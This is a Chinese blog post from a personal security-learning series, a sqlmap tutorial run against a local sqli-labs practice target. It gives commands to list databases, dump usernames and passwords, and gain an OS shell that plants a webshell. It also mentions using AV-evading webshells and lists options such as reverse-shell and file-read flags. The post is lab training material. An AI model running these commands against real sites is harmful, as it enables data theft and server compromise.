SQL注入(3)——SQLMAP

2023-11-15

本专栏是笔者的网络安全学习笔记,一面分享,同时作为笔记

前文链接

  1. WAMP/DVWA/sqli-labs 搭建
  2. burpsuite工具抓包及Intruder暴力破解的使用
  3. 目录扫描,请求重发,漏洞扫描等工具的使用
  4. 网站信息收集及nmap的下载使用
  5. SQL注入(1)——了解成因和手工注入方法
  6. SQL注入(2)——各种注入

之前介绍了各种SQL注入的方法,今天介绍SQLMAP工具的使用及如何通过SQL注入拿到Webshell

介绍

SQLMap是一个用Python写的SQL注入工具,可以轻松地对目标进行SQL注入攻击

安装

由于我已经安装了Python环境,所以我这里是直接用pip安装

打开DOS,输入:

pip install sqlmap -i https://mirrors.aliyun.com/pypi/simple/

在这里插入图片描述
这样就是安装成功了

然后在dos中输入sqlmap,如果出现像下图的,则为安装成功
在这里插入图片描述

使用

我们通过一个实例来讲解SQLMAP的使用

测试地址:http://192.168.1.9/sql1/Less-1/?id=1
注入检测
简单查看页面,怀疑存在SQL注入漏洞
在这里插入图片描述
直接放进sqlmap扫描。指令:

 sqlmap -u http://192.168.1.9/sql1/Less-1/?id=1

在这里插入图片描述
如图,返回了数据库的版本和信息,说明存在注入

返回结果介绍:
在这里插入图片描述
这一堆东西说明了存在注入的参数和注入方法,以及各种注入的Payload

在这里插入图片描述
这里说了数据库的类型版本,如果在测试中出现此内容,说明存在注入漏洞。

信息获取
获取当前用户sqlmap -u http://192.168.1.9/sql1/Less-1/?id=1 --current-user
在这里插入图片描述

获取当前数据库:sqlmap -u http://192.168.1.9/sql1/Less-1/?id=1 --current-db
在这里插入图片描述

获取所有数据库:sqlmap -u http://192.168.1.9/sql1/Less-1/?id=1 --dbs
在这里插入图片描述

获取security数据库的所有表:sqlmap -u http://192.168.1.9/sql1/Less-1/?id=1 -D security -tables
在这里插入图片描述

获取users表中所有字段:sqlmap -u http://192.168.1.9/sql1/Less-1/?id=1 -D security -T users -columns
在这里插入图片描述

获取username,password的内容:sqlmap -u http://192.168.1.9/sql1/Less-1/?id=1 -D security -T users -C username,password -dump
在这里插入图片描述
-dump可以导出数据,数据导出位置在
在这里插入图片描述
在这里插入图片描述
GetShell
通过SQLMAP获取shell
判断是否为dba:sqlmap -u http://192.168.1.9/sql1/Less-1/?id=1 --is-dba
在这里插入图片描述
如果这里权限是dba的话,可以尝试直接写shell
使用os-shell可以执行系统指令,同时向服务器上传一个文件用于文件上传
前提是需要知道网站的绝对路径并且有文件权限。

sqlmap -u http://192.168.1.9/sql1/Less-1/?id=1 --os-shell

在这里插入图片描述
这里会要你选择网站的语言。选择4,PHP
在这里插入图片描述在这里要猜解网站的绝对路径,可以使用SQLMAP的字典,也可以自己导入字典。我这里直接1,使用SQLMAP的字典。
在这里插入图片描述
假如猜解成功,就会返回一个shell。

注意,在这里有两个地址
在这里插入图片描述
告诉我们上传了一个上传文件的位置和一个后门到服务器。
我们分别访问看一下
http://192.168.1.9:80/tmpupupp.php
在这里插入图片描述
在这里是一个文件上传点,可以上传自己的大马,小马,一句话。

http://192.168.1.9/tmpbbeih.php
这里直接上传了一个Webshell,可以直接菜刀连接,密码是cmd
在这里插入图片描述
不过这个马并不是免杀的,你可以上传自己的免杀马。

同时,在这里也可以执行自己想执行的指令,例如获取自身权限
在这里插入图片描述

常用参数

SQLMAP常用参数
参数 说明
-b 获取 banner
-p 指定测试参数
-g 从Google中获取URL,-g "inurl:aspx?id="
--gpage 指定Google页码
--union-check 是否支持 union 注入
--union-use 使用union注入
--proxy 代理注入
--threads 采用多线程
--referer=REFERER HTTP referer头
--keep-alive 使用持久 HTTP(S)连接
--hostname 主机名
--is-dba 是否管理员权限
--users 枚举所有用户
--passwords 枚举所有用户密码
--roles 针枚举所有用户角色
--dump 转存DBMS数据库表项目,需要指定字段名称
--sql-query 执行SQL语句
--file-read 读取文件(需要File权限和绝对路径)
--file-write 写入操作(需要File权限和绝对路径)
--file-desk 绝对路径写入
--os-pwn 反弹shell
--cookie=COOKIE 指定Cookie
--random-agent 使用随机 User-Agent 头
--level 测试等级(1~5),默认为1
这里Level可以设置测试等级,当等级达到3时将尝试cookie注入,同时需要的时间更长。

Threads可以设置线程数,在时间盲注时可加快效率。

-p可以指定测试参数,例如 -p id 意为测试参数id。

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

SQL注入(3)——SQLMAP 的相关文章

  • Exps on March 23rd

    电话 固定电话 telephone手机 cellphone mobilephone无绳电话 cordless phone公共电话 paying phone长途电话 long distance call国际电话 international c
  • 「远程开发」VSCode使用SSH远程linux服务器 - 公网远程连接

    文章目录 前言 视频教程 1 安装OpenSSH 2 vscode配置ssh 3 局域网测试连接远程服务器 4 公网远程连接 4 1 ubuntu安装cpolar内网穿透 4 2 创建隧道映射 4 3 测试公网远程连接 5 配置固定TCP端
  • Linux安装mysql5.7.23设置密码问题

    问题 安装mysql没有设置密码导致无法进入mysql 系统 ubuntu 18 04 mysql版本 mysql Ver 14 14 Distrib 5 7 23 for Linux x86 64 using EditLine wrapp
  • 【Linux】HTTPS协议

    目录 前言 HTTPS协议原理 1 概念 2 加密和解密 3 常见加密方式 3 1 对称加密 3 2 非对称加密 4 数据摘要和数据指纹 5 HTTPS工作原理 5 1 方案一 仅对称加密 5 2 方案二 仅非对称加密 5 3 方案三 双方
  • pandas---数据处理(csv文件)

    近期在弄一个项目的前期数据 所以总结了一下 内容如下 以下以csv文件为例 1 DataFrame常用操作 1 1 DataFrame去除空行 1 对于一般空行 2 对于列表式 list 空行 1 2 数据的填充 1 表格中填充0 1 3

随机推荐

  • Springboot actuator端点配置与及基本说明2.2.4版

    pom配置
  • 数据结构与算法之美(01)为什么要学习数据结构和算法?

    你是不是觉得数据结构和算法 跟操作系统 计算机网络一样 是脱离实际工作的知识 可能除了面试 这辈子也用不着 尽管计算机相关专业的同学在大学都学过这门课程 甚至很多培训机构也会培训这方面的知识 但是据我了解 很多程序员对数据结构和算法依旧一窍
  • 解决git中出现的“fatal ‘xxxx‘ does not appear to be a git repository”错误的方法

    今天来分享一下我在使用git中出现的一个错误提示 话不多说 我们直接来分析 这个错误是我在通过SSH方式pull远程仓库时候出现的 错误提示如下 fatal xxx 你的仓库别名 does not appear to be a git re
  • 使用yum命令安装jdk1.8没有jps命令

    问题 使用yum命令安装jdk1 8后 不能使用jps 这是由于没有openjdk devel这个包 使用yum命令下载 yum install java 1 8 0 openjdk devel x86 64 下载完成之后就可以使用jps命
  • Leetcode 刷题笔记(二十八) ——动态规划篇之子序列问题:连续子序列和不连续子序列

    文章目录 系列文章目录 前言 题录 53 最大子数组和 674 最长连续递增序列 300 最长递增子序列 718 最长重复子数组 1143 最长公共子序列 1035 不相交的线 系列文章目录 一 数组类型解题方法一 二分法 二 数组类型解题
  • LSTM原理及实现

    LSTM网络 LSTM核心思想 逐步理解LSTM 遗忘门 输入门 输出门 LSTM变体 多层LSTM LSTM实现手写数字 设置LSTM参数 初始化权值参数 训练 参考资料 前面我们介绍了RNN 现在我们来介绍一种特殊的RNN结构 LSTM
  • 如何用python编写程序打开csv格式文件

    目录 1 用pandas库打开 2 用python内置函数打开 1 用pandas库打开 用如下例子说明 import pandas as pd import os import csv data dir D a user file fna
  • Python 面向对象(三)

    6 3 多态 多态就是同一个对象在不同情况下有不同的状态出现 多态不是语法 是一种设计思想 多态性 一种调用方式 不同的执行效果 多态 同一事物的多种形态 动物分为人类 猪类 狗类 多态和多态性 Mixin设计模式 主要采用多继承方式对类的
  • Android 在已有工程中实现微信图片压缩

    这个我们需要自己去编译 但是已经有人帮我们编译好了 压缩算法也已经实现 因此 我们去下载然后编译即可 https github com bither bither android lib 首先将上面下载好的已经编译好的libjpeg放到jn
  • xubuntu+树莓派4:绕过登录界面,自动登录,直接进入系统

    二郎为什么要做这个呢 因为二郎想让树莓派直接运行起来 不要再去点击登录了 做这个的时候二郎找了很多网上的教程 发现普遍存在的问题是 不注明系统 一顿乱说 跟本解决不了问题 而且容易把系统搞崩 这里二郎再声明一遍 该方法适用于树莓派4系统安装
  • 文科生转行数据分析,分享我的大数据培训经历

    以下文章转载自一位培训数据分析小伙伴的分享 对于很多想转行学习大数据技术 参加大数据培训的小伙伴们 可以参考参考 很多人不敢承认自己是培训出来的 我今天来简单讲讲我参加数据分析培训的经理 大家有什么疑问的可以留言交流 我目前在四川一家大型移
  • 使用纯flutter3.0版本,2个dart文件,搭建ChatGPT简易版聊天客户端程序(含openai与api2d版本)

    文章目录 1 效果展示 2 按钮的搭建 1个组件 3 聊天窗口的搭建 1个dart 4 API请求的实现 1个dart 使用纯Flutter 3 0版本 仅需2个Dart文件 即可搭建ChatGPT简易版聊天客户端程序 包括OpenAI与A
  • CoreDNS篇9-kubernetes插件

    CoreDNS作为现阶段k8s的默认DNS服务以及服务发现的重要一环 其内置的kubernetes插件可谓是举足轻重 本文主要讲解介绍CoreDNS内置的核心插件kubernetes的使用方式和适用场景 CoreDNS的kubernetes
  • (1)哈希函数资料的整理

    一 哈希函数是什么 哈希函数 又叫散列函数 散列算法 是一种从任何一种数据中创建小的数字 指纹 也叫做摘要 的方法 什么意思呢 就是说 你输入任何长度 任何内容的数据 哈希函数输出固定长度 固定格式的结果 这个结果类似于你输入数据的指纹 只
  • Unity3d 发布打包后无法运行exe 报错Failed to load mono解决

    问题 点击运行发布后的 exe就会出现如下错误 解决 原来生成的包里的文件夹在拷贝时少拷了MonoBleedingEdge文件夹 我记得以前的生成包是没有这个文件夹的 这里需要将该文件夹一起拷贝 就可以解决该问题
  • DNS服务器的原理

    DNS服务器的原理 DNS Domain Name System 域名系统的简写 它是一种基于tcp upd的服务 同时监听在TCP和UPD的53号端口 刚开始 网络刚诞生的时候 只有很少的计算机接入网络 而随着个人PC的发展 网络成爆炸性
  • 过压过流保护芯片

    过压保护 负载如果是阻性负载 当电源有故障 负载上的电压有可能大幅上升 而电流的上升值不一定能超过过流保护值 此种情况宜用过压保护 例如工作在5V 可将电压保护值调至5 5V 如果电源故障只要电压升至5 5V时 电源会自动切断电压输出 2
  • TCP详解(2):三次握手与四次挥手

    TCP Transmission Control Protocol 传输控制协议 是基于连接的协议 也就是说 在正式收发数据前 必须和对方建立可靠的连接 就好像你给别人打电话 必须等线路接通了 对方拿起话筒建立了连接才能相互通话 一个TCP
  • 记一次挖矿病毒应急响应事件

    应急主机排查 近日 我们的安全技术人员安全检查过程中发现一组内网主机存在与外部互联网地址异常通讯行为 以下是对其中一台主机挖矿应急处置分析 查看Windows任务管理器 发现该主机的CPU使用率为100 结合实际业务情况初步判断该主机存在异
  • SQL注入(3)——SQLMAP

    本专栏是笔者的网络安全学习笔记 一面分享 同时作为笔记 前文链接 WAMP DVWA sqli labs 搭建 burpsuite工具抓包及Intruder暴力破解的使用 目录扫描 请求重发 漏洞扫描等工具的使用 网站信息收集及nmap的下